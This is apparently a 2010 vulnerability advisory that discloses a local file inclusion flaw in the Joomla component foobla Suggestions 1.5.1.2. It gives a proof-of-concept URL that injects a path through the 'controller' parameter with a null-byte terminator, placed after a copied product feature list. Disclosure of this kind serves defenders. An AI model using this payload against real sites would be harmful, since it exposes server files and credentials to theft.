----------------------------------------------------------------------------------------- Joomla Component Foobla Suggestions Local File Inclusion ----------------------------------------------------------------------------------------- Author : Chip D3 Bi0s Email : chipdebios[alt+64]gmail.com Date : April 08, 2010 Critical Lvl : Moderate Impact : Exposure of sensitive information Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : foobla Suggestions version : 1.5.1.2 Developer : foobla License : GPL type : Commercial Date Added : Dec 21, 2009 Demo : http://demo.foobla.com/foobla-suggestions-joomla Download : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html Description : Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee? The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. For more information check out the features list, screenshots, and demo. FEATURES * GNU/GPL license. Purchase, install in unlimited domains and get professional support. * AJAX base for frontend. * Allow to import ideas from Uservoice account. * Bad words filter. * Export database to XML format. * Import to database from XML backup file. * Flexible user permissioning. * Easy to implement, ONE-CLICK Installation package: 01 component (backend & frontend) + 02 plugin + 01 module. * Express Install Tools in backend. * One-Click upgrade to newer version. * Translation Manager built-in. --------------------------------------------------------------------------- Poc/Exploit: ~~~~~~~~~ http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=[LFI]%00 +++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America +++++++++++++++++++++++++++++++++++++++